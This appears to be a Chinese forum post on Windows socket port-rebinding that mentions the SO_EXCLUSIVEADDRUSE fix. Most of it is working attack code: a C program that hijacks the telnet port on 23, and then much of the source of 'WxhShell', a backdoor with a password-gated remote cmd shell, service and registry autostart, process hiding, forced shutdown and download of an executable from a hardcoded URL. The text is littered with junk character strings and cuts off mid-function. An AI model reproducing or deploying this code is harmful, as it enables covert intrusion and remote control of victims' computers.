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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *8.@aX3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Evq Ai/(g #3yw
saddr.sin_family = AF_INET; 83ic@[ S50x0$%<W saddr.sin_addr.s_addr = htonl(INADDR_ANY); I
cR;A\z h`h>H
X bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k7|z$=zY G h[`q7B
Q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _OU.JrqC ;i9<y8Dha 这意味着什么?意味着可以进行如下的攻击: Vm;Qw 6$fnQcpJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O0wCb
~K-*q{6Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tG2OVRx8u ' q<EZ{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3R%UPT0> #>m,
Cm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ;[KriW `o8{qU,*]N 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =6Sj}/ Wd`
QpW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CnSX Xvj=*wg\Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f UF;SqT r ctSS:1 #include FL#g9U> #include 7XVzd]jH #include ^/C$L8# #include 1 73<x){ DWORD WINAPI ClientThread(LPVOID lpParam); ,d>X/kd|o int main() ?7kV+{. { @9uYmkcV WORD wVersionRequested; !q$&JZY DWORD ret; -e{)v' C) WSADATA wsaData; En,)}yI BOOL val; ^\[LrPqe SOCKADDR_IN saddr; }xf='lE SOCKADDR_IN scaddr; nRXSW&V"m int err; ..q63dr SOCKET s; Le`/ SOCKET sc; ?VZ11?u int caddsize; 3cCK"kr HANDLE mt; @UpC{M--Wr DWORD tid; hk@`N;dn wVersionRequested = MAKEWORD( 2, 2 ); B]|6`UfB err = WSAStartup( wVersionRequested, &wsaData ); 8{G?92
{rN if ( err != 0 ) { t$H':l0 printf("error!WSAStartup failed!\n"); pdi=6<?bd return -1; lbB.*oQ } Rct"\{V')n saddr.sin_family = AF_INET; m+Q5vkW Cv>yAt.3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3_L1Wm %[Zqr;~l saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^)OZ`u8 saddr.sin_port = htons(23); &gA6+b' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 29Z!p2{hk { T,WKoB printf("error!socket failed!\n"); ,l$NJt return -1; N4a`8dS| } A-a17}fta val = TRUE;
coF T2Pq //SO_REUSEADDR选项就是可以实现端口重绑定的 :T7? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H~[LJ5x { Dh&:- printf("error!setsockopt failed!\n"); , G[r+4|h return -1; c{mKra } >P\h,1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qukjS#>+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &0+x2e)7g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,pyQP^u- iY
^{wi~? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1m>^{u { I%}L@fZ ret=GetLastError(); <AI>8j6#B printf("error!bind failed!\n"); c Q(}^KO return -1; &gGs) $f[ } 7_Ba3+9jpa listen(s,2); ='dLsh4P2N while(1) 3:[!t%Yb { YVB%
kKv{ caddsize = sizeof(scaddr); (px*R~} //接受连接请求 ]{IR&{EI- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lx{.H,1~ if(sc!=INVALID_SOCKET) G&x'=dJ { B*?ZE4` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9W1;Kb|Z< if(mt==NULL) G;(onJz { y$IaXr5L printf("Thread Creat Failed!\n"); (O8,zqP9l break; 3yTQ } @72x`&|I?u } {q&@nm40 CloseHandle(mt); @J-plJ4e } ug^om{e- closesocket(s); ;W7 hc! WSACleanup(); >j50
;</ return 0; ==]Z \jk } wVgi+P DWORD WINAPI ClientThread(LPVOID lpParam)
?. zu2 { bK3B3r#$ SOCKET ss = (SOCKET)lpParam; 9t{|_G SOCKET sc; 0jR){G9+ unsigned char buf[4096]; T>#TDMU#Fm SOCKADDR_IN saddr; Y 3o^Euou long num; +w "XNl DWORD val; =m`l%V[ DWORD ret; JAc@S20v\ //如果是隐藏端口应用的话,可以在此处加一些判断 pO"m~ mpA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 R{*_1cyW saddr.sin_family = AF_INET; p{NPcT%& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S?*^>Y-e; saddr.sin_port = htons(23); ( "_Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZV!R#Xv { 'sj9[o@] printf("error!socket failed!\n"); QTVa return -1; 3PsxOb+ } -NAmu97V} val = 100; fC_zX}3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #hIEEkCp + { 5pO]vBT ret = GetLastError(); 7egq4gN]2Y return -1; lZ}P{d'f. } !q!"UMiG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,#
]+HS^B { r+o_t2_b* ret = GetLastError(); X*0k>j return -1; 4Mk8Cpz } Y|mW. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MzcB3pi { x'@W=P 7 printf("error!socket connect failed!\n"); ^>-+@+(
r closesocket(sc); qtO1hZ closesocket(ss); PmHd9^C return -1; ]de\i=?| } FIH@2zA while(1) C?,*U { M3ZOk<O<R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q\H_t)- //如果是嗅探内容的话,可以再此处进行内容分析和记录 v' C@jsxM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JlUb0{8PE num = recv(ss,buf,4096,0); vyE{WkZxR if(num>0) Q*gnAi&.# send(sc,buf,num,0); D>P;Izb else if(num==0) }@wVW))6$ break; #+$ zE#je num = recv(sc,buf,4096,0); ?fV?|ZGZI if(num>0) {o( *
f send(ss,buf,num,0); iecWa:(' else if(num==0)
/^Y[*5 break; GjEqU;XBi } 012Lwd closesocket(ss); 6;gLwOeOHY closesocket(sc);
m;c3Z- return 0 ; Wj&nUp{ } $|k%@Q> 975
_d_U xpAok] ========================================================== ^CUSlnB\( QCWf.@n 下边附上一个代码,,WXhSHELL 7SaiS_{: ^_sQG ========================================================== 0Q7MM6 [P{a_( #include "stdafx.h" )AI?x@ 40u7fojg2 #include <stdio.h> !~)90Z! #include <string.h> \0nlPXk?G #include <windows.h> })PO7: #include <winsock2.h>
>zQOK- #include <winsvc.h> 88+
=F
XG #include <urlmon.h> T<P0T< ]w!0u2K<Q\ #pragma comment (lib, "Ws2_32.lib") wqP2Gw7jh6 #pragma comment (lib, "urlmon.lib") G{+2xN
a( z|I0-1tAK #define MAX_USER 100 // 最大客户端连接数 1eHe~p , #define BUF_SOCK 200 // sock buffer i3P9sdTD #define KEY_BUFF 255 // 输入 buffer 6|5H=*)DH `^x9(i/NE #define REBOOT 0 // 重启 )&:L'N #define SHUTDOWN 1 // 关机 Jld\8= BKay*!'PX #define DEF_PORT 5000 // 监听端口 h/HHKn >k;p.Pay% #define REG_LEN 16 // 注册表键长度 ~g7m3 #define SVC_LEN 80 // NT服务名长度 <[ZI.+_Wt =G4u#t) // 从dll定义API { D+Ym%n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z|I-BPyn typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _%B/!)v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GWdSSr> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pM9yOY 2e59Ez%k6 // wxhshell配置信息 -%,"iaO struct WSCFG { IXWQ) int ws_port; // 监听端口 q(H ip<6p char ws_passstr[REG_LEN]; // 口令 O[FZq47 int ws_autoins; // 安装标记, 1=yes 0=no >I^9:Q char ws_regname[REG_LEN]; // 注册表键名 p?JQ[K7i char ws_svcname[REG_LEN]; // 服务名 Z/g]o# char ws_svcdisp[SVC_LEN]; // 服务显示名 'OD)v char ws_svcdesc[SVC_LEN]; // 服务描述信息 h)cY])tGtK char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xzr<k Sp int ws_downexe; // 下载执行标记, 1=yes 0=no [pL*@9Sa& char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" O%&cE*eX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |cgui cS(;Qs]Q }; APq7 f8t Q+'nw9:;T // default Wxhshell configuration UV@0gdy[ struct WSCFG wscfg={DEF_PORT, #K4*6LI "xuhuanlingzhe", [Gtb+'8 1, o_$&XNC_ "Wxhshell", ($8t%jVWJJ "Wxhshell", I ]9C_ "WxhShell Service", \f%.n]> "Wrsky Windows CmdShell Service", ^_W40/c3 "Please Input Your Password: ", >g}G}=R~3 1, e;h,V( " http://www.wrsky.com/wxhshell.exe", RV;!05^< "Wxhshell.exe" :$%>4+l }; ykmv'a$-4 v@n_F // 消息定义模块 |##GIIv;i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t,HFz6 char *msg_ws_prompt="\n\r? for help\n\r#>"; ! %Ny0JkO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Ee)xnY%( char *msg_ws_ext="\n\rExit."; gCJIIzl%Bh char *msg_ws_end="\n\rQuit."; hqDqt"dKz char *msg_ws_boot="\n\rReboot..."; Ilq=wPD}j char *msg_ws_poff="\n\rShutdown..."; R5(T([w' char *msg_ws_down="\n\rSave to "; RB$
z]/= [Y8S[YY char *msg_ws_err="\n\rErr!"; cbYK5fj"T char *msg_ws_ok="\n\rOK!"; (s&&>M]r_ Wekqn!h char ExeFile[MAX_PATH];
#^0( int nUser = 0; i=#F)AD^5# HANDLE handles[MAX_USER]; !OAvD# int OsIsNt; h/m6)m.D
+TSSi em SERVICE_STATUS serviceStatus; WU)Ss`s \ SERVICE_STATUS_HANDLE hServiceStatusHandle; gKi{Y1 N'?u1P4G // 函数声明 bK*~ol int Install(void); H
M:r0_ int Uninstall(void); T1bd:mC}n int DownloadFile(char *sURL, SOCKET wsh); Vte EDL/w int Boot(int flag); #{PmNx%M void HideProc(void); ^$NJD int GetOsVer(void); 6R4<J%$P int Wxhshell(SOCKET wsl); 2*AG7 void TalkWithClient(void *cs); <[i}n55 int CmdShell(SOCKET sock); Ow/@Z7~ int StartFromService(void); <]U1\~j int StartWxhshell(LPSTR lpCmdLine); izwUS!5e c^9tYNn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #ekM"p VOID WINAPI NTServiceHandler( DWORD fdwControl ); {HrZ4xQnpV d5!!Ut // 数据结构和表定义 G;1?<3 SERVICE_TABLE_ENTRY DispatchTable[] = LW:1/w&pv { #/70!+J_UF {wscfg.ws_svcname, NTServiceMain}, (kw5>c7 {NULL, NULL} #g9ZX16} }; |He=LQ}0 @Rq}nq=k // 自我安装 ]?K.
S6 int Install(void) Z^ar.boc { <+tD z ( char svExeFile[MAX_PATH]; Adx`8}N8 HKEY key; X.V[0$.; strcpy(svExeFile,ExeFile); L:R<e#kgS \#Up|u: // 如果是win9x系统,修改注册表设为自启动 ]Kh2;>=
Xj if(!OsIsNt) { 8Vn4.R[vE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /,tAoa~FA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (S/F)? RegCloseKey(key); 6v732;^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >:
Wau RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A)NkT`<) RegCloseKey(key); 2`bdrRD0 return 0; (K<9hL+X } f.xA_Y> } 8dO?K*J,H' } E6A/SVp else { ;['a MesRa( // 如果是NT以上系统,安装为系统服务 o\=n4;S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HdX2YPYn; if (schSCManager!=0) bGmx7qt# { zm#nV
Y` SC_HANDLE schService = CreateService *hY2.t; X ( L%\b' fs schSCManager, wkb$^mU wscfg.ws_svcname, A9:NKY{z wscfg.ws_svcdisp, N4!<Xj SERVICE_ALL_ACCESS, Xm!-~n@-m7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .~D>5 JnEk SERVICE_AUTO_START, !8Rw O%c( SERVICE_ERROR_NORMAL, tWPO]3hW svExeFile, <L0#O(L NULL, r4XH = NULL, G|
m4m. NULL, 5iX!
lAFJ NULL, ~)]} 91p NULL 1vevEa$ ); q1{H~VSn" if (schService!=0) ^{yk[tHpS { nk=$B(h CloseServiceHandle(schService); \2e0|)aF6 CloseServiceHandle(schSCManager); zGlZ!t: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S::>N.y strcat(svExeFile,wscfg.ws_svcname); G}zZQy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \_BkY%a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ym8}ZW- RegCloseKey(key); m`A%
p return 0; 5Av=3[kh"% } :k=mzO<& } gAbD7SE CloseServiceHandle(schSCManager); A%bCMP } |oFAGP1 } 2N [= CI7A#
6- return 1; b/("Y.r= } 6W2hr2Zy9 $'wq1u // 自我卸载
%Y nmuZ int Uninstall(void)
``K#}3 { Xyx"A(v^l HKEY key; q6d~V]4: ,FSrn~-j9 if(!OsIsNt) { T6BFX0$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A#y@`}]!' RegDeleteValue(key,wscfg.ws_regname); r ,(Mu RegCloseKey(key); Y3U9:VB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +cu^%CXT RegDeleteValue(key,wscfg.ws_regname); k!L@GQ RegCloseKey(key); \?fI t? return 0; }
p:%[ } 6"
B%)0 } 5<YzalNf } bn9;7`>. else { zw@'vncc o^p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t67Cv/r~ if (schSCManager!=0) L:&k(YOBA { X` YwP/D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]+Ixi o if (schService!=0) 6<'K~1do: { &2.u%[gO[q if(DeleteService(schService)!=0) { (R}ii}& CloseServiceHandle(schService); 2t#L:vY CloseServiceHandle(schSCManager); 'DbMF?<. return 0; OS-f(qXd+ } 3`.P'Fh(k CloseServiceHandle(schService); ",qU,0 } :D:DnVZ-[@ CloseServiceHandle(schSCManager); f>$``.O } Wd,a?31| } _.)eL3OF )6X.Nfkb^k return 1; -7qIToO. } fz_nsVD <yUstz,Xu^ // 从指定url下载文件 v
$({C int DownloadFile(char *sURL, SOCKET wsh) KA s 1(oG { \3YO<E!t HRESULT hr; (g!p>m!Z char seps[]= "/"; UK[v6".^h char *token; J5M+FwZq char *file; [1G^/K" char myURL[MAX_PATH]; >!6JKL~= char myFILE[MAX_PATH]; cI0 ]}S d9^E.8p$ strcpy(myURL,sURL); 30j|D3- token=strtok(myURL,seps); ?=Pd while(token!=NULL) vw>j J { n$L51#' file=token; @ EuFJ=h token=strtok(NULL,seps); !0VfbY9C } f:JlZ& p<Z3tD;Z GetCurrentDirectory(MAX_PATH,myFILE); )u:Q)
%$t strcat(myFILE, "\\"); #o`Ny4sq/ strcat(myFILE, file); `|Z}2vo;j send(wsh,myFILE,strlen(myFILE),0); kma?v B send(wsh,"...",3,0); !RvRGRSyF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l ,|%7- if(hr==S_OK) a6xj\w return 0; 7*+]wEs else >p\e0n return 1; )(M7lq.e7 &]6)LFm } hf6f.Z )$%Z: // 系统电源模块 $D1w5o- int Boot(int flag) RBKOM$7 { :*514N HANDLE hToken; ]jMKC8uz TOKEN_PRIVILEGES tkp; dtStTT S^I,Iz+`S' if(OsIsNt) { Dr<='Ux[5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k`KGB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "8 )z=n tkp.PrivilegeCount = 1; f>j wN@( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +|cI:|H> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >TL^>D if(flag==REBOOT) { b&)5:&MI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d50Vtm\ return 0; XKOUQc4!R } $RX'(/ else { &n2e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "Y:/=
Gx return 0; l~:v
(R5 } c,EBF\r8* } \/`? else { =JLh?Wx if(flag==REBOOT) { 2.uA|~qH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1k8x%5p return 0; Pz_Oe,{.I } /lhz],w else { }Nj97R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j1$8#/r;c return 0; RF}X
ER } j-@kW'K } +>^7vq-\' <Q< AwP return 1; vYmSKS } -F/st BcWcdr+}9 // win9x进程隐藏模块 `bI)<B void HideProc(void) `1` f*d
v { F4#g?R::U YB))S!;Ok HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^WYQ]@rh3 if ( hKernel != NULL ) QWnndI_4p { fN%jJ-[d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >u+q1j. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZM#=`k9 FreeLibrary(hKernel); _mE^rT } P@}P k 0*%&> return; Et2JxbD } kT IYD o +%>:0mT // 获取操作系统版本 ihe(F7\U int GetOsVer(void) 9v)%dO. { bKVj [r8D~ OSVERSIONINFO winfo; D>L2o88 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K<sC F[ GetVersionEx(&winfo); WKM)*@#, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "@3@/I return 1; 8ovM\9qT else 4R%*Z~ return 0; .\3`2 } 'm=*u
SJK /TQ}}
YVw // 客户端句柄模块 <lxD}DH= int Wxhshell(SOCKET wsl) 4DWwbO { [dX`K`k SOCKET wsh; n| O [a6G struct sockaddr_in client; yqOuX>m 1c DWORD myID; e&q?}Ho l]!9$ while(nUser<MAX_USER) faXx4A2" { Tpp & int nSize=sizeof(client); ?^#lWx q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 's
x\P[a if(wsh==INVALID_SOCKET) return 1; 6R UrF 34|a\b} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T $4P_* if(handles[nUser]==0)
4-Z()F closesocket(wsh); H jNxqaljt else Btt]R nUser++; h&@R| N } a l9.} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uwIc963 \$*$='6" return 0; &O\(;mFc } XEM'}+d vH%gdpxX // 关闭 socket `\|ssC8u void CloseIt(SOCKET wsh) ov#7hxe { qF)<H closesocket(wsh); 7Du1RuxP nUser--; nxm$}!Df ExitThread(0); ,.IEDF<& } (WlIwKP .S\&L-{ // 客户端请求句柄
xFv;1Q void TalkWithClient(void *cs) JOnyrks { \a^,sV th5g\h%j* SOCKET wsh=(SOCKET)cs; Wo$%9!W char pwd[SVC_LEN]; 8euZTfK9e char cmd[KEY_BUFF]; ra ' char chr[1]; ,hxkk` int i,j; \[2lvft! $gle8Z- while (nUser < MAX_USER) { >?W[PQ5 yx &Bb<4R if(wscfg.ws_passstr) { @+,pN6}g if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L];y}]:F* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [f~N_G6I^o //ZeroMemory(pwd,KEY_BUFF); o/cjXun* i=0; ^,Ydr~|T while(i<SVC_LEN) { <oMUQ*OtV 4B+9z^oQ // 设置超时 CDy^UQb fd_set FdRead; $WQq?1.9 struct timeval TimeOut; X*oMFQgP FD_ZERO(&FdRead); `ejUs]SR FD_SET(wsh,&FdRead); y?
(2U6c TimeOut.tv_sec=8; Ma-\^S= TimeOut.tv_usec=0; ?|;yVew int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5-u=o)> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u<ySd? eHg3}b2r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "](6lB1Oe pwd =chr[0]; H %f:K2 if(chr[0]==0xd || chr[0]==0xa) { CENVp"C/` pwd=0; lVH<lp_ZtK break; f,i5iSYf } %rKK[ i++; o@>? *= } ER&UBUu" t6N*6ld2b // 如果是非法用户,关闭 socket ~89P[$6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5__+_hO
;3 } :HViX:]H |tMn={ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /x@RNdKv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c2SC|s] ^W83ByP while(1) { zRl~^~sY DLPUqKL] ZeroMemory(cmd,KEY_BUFF); +';>=hha E|"=.
T // 自动支持客户端 telnet标准 {43yb_B( j=0; i?;r7> while(j<KEY_BUFF) { g8;D/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mo]KCi cmd[j]=chr[0]; }$su4A@0 if(chr[0]==0xa || chr[0]==0xd) { OV CR0 cmd[j]=0; 3cl9wWlJ_E break; 1pp -=$k } WUdKLx%F j++; R/b4NGW@ } J a,d3K
r~[vaQQ6L // 下载文件 m,LG=s if(strstr(cmd,"http://")) { ig"uXs send(wsh,msg_ws_down,strlen(msg_ws_down),0); d=.2@Ry if(DownloadFile(cmd,wsh)) 3Q}$fQ&S send(wsh,msg_ws_err,strlen(msg_ws_err),0); !,$i6gm else 1nj(hg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qf'm=efRyu } uw\1b.r'B else { #PLEPB Sywu=b switch(cmd[0]) { j{VGClb=T RH)EB<PV // 帮助 I lR\
# case '?': { }SyxPXs send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Die-@z|Y break; $ls[|N:y0l } C@y8.#l // 安装 qgt[ ~i* case 'i': { 3{Nbp if(Install()) :)f7A7 :; send(wsh,msg_ws_err,strlen(msg_ws_err),0); pfuW else Lr;(xw\[' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}ODWdJ1 break; Lju7,/UD } UQCo}vM // 卸载 k?nQ?B
W case 'r': { < O*6T%; if(Uninstall()) Q }k.JS~# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~iBgw&Y else eS/B24;* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {X]R-1> break; 9V uq,dv } pC,o2~%{ // 显示 wxhshell 所在路径 3{%LS"c case 'p': { 59uwB('|lH char svExeFile[MAX_PATH]; Y>."3*^ strcpy(svExeFile,"\n\r"); `D7C?M#j] strcat(svExeFile,ExeFile); w^k;D,h send(wsh,svExeFile,strlen(svExeFile),0); }]1BO break; 8cx=#Me } <hnCUg1 // 重启 ',7??Q7j&v case 'b': { ?VU(Pq*` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1B>V t*= if(Boot(REBOOT)) I&9S;I$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _&3<6$}i" else { |iFVh$N closesocket(wsh); ~`;rNnOT3 ExitThread(0); Q\
^[!| } UCrh/b Tm break; 3CjL\pIC } FUK3)lT // 关机 WnFG{S{s case 'd': { NIr@R7MKd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k`HP"H if(Boot(SHUTDOWN)) bSwWszd~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ({0)@+V8 else { v<\A% closesocket(wsh); " }gVAAvc7 ExitThread(0); Nb2Qp
K } 9&%fq)gS break; 6!iJ;1PeE } C8N{l:1f] // 获取shell uNbH\qd= case 's': { gQSNU_o Z CmdShell(wsh); Vpfp}pL closesocket(wsh); #BK 9 k>i ExitThread(0); xynw8;Y, break; 0XwHP{XaO } :A46~UA!$ // 退出 :^ i9] case 'x': { pqM~l& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jkAAqR R CloseIt(wsh); d<w~jP\ break; ( fD
;g9 } 'J*<iA*W // 离开 NW|f7
ItX case 'q': { c9' ' send(wsh,msg_ws_end,strlen(msg_ws_end),0); I0AJY
)R closesocket(wsh); Uv_N x10 WSACleanup(); PMs z` exit(1); XB hb`AG break; @Fv=u } ){s*n=KIO } vqslirC } P=L$;xgp |6:=}dE#[ // 提示信息 $$i.O} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .o%^'m"=D[ } HWns.[ } V=I"-k}RL &WXY 'A= return; E9j+o y } IJOvnZ("A rn@`yTw^ // shell模块句柄 U;_[b"SW% int CmdShell(SOCKET sock) 4Ph0:^i_ { vP%tk s+. STARTUPINFO si; ~jU/<~s ZeroMemory(&si,sizeof(si));
\u-0v.+| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mj>}zbpk/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |as!Ui/J/ PROCESS_INFORMATION ProcessInfo; pN6%&@) = char cmdline[]="cmd"; C<^YVeG CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D\~zS`} return 0; )/ Ud^wi } rr`;W}3 e;bYaM4UX // 自身启动模式 rjt8fN int StartFromService(void) ;?fS(Vz~ { .@)mxC:\K9 typedef struct <mA'X V, { *F^wtH` DWORD ExitStatus; 9L0GLmLk1u DWORD PebBaseAddress; 4rK{-jvh>m DWORD AffinityMask; D(W,yq~7uY DWORD BasePriority; `Ycf]2.,$ ULONG UniqueProcessId; +1JH ULONG InheritedFromUniqueProcessId; p1pQU={< } PROCESS_BASIC_INFORMATION; u*S=[dq qIUfPA=/_ PROCNTQSIP NtQueryInformationProcess; %A1@&xrbl R;whW:Tx static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ))D:8l@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z0!5d< L(S'6z~_9 HANDLE hProcess; z2gk[zY& PROCESS_BASIC_INFORMATION pbi; Zv]x'3J#Y <>xJn{f0c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -Lu)'+ if(NULL == hInst ) return 0; %m,6}yt ha@L94Lq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c'6g*%2k g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 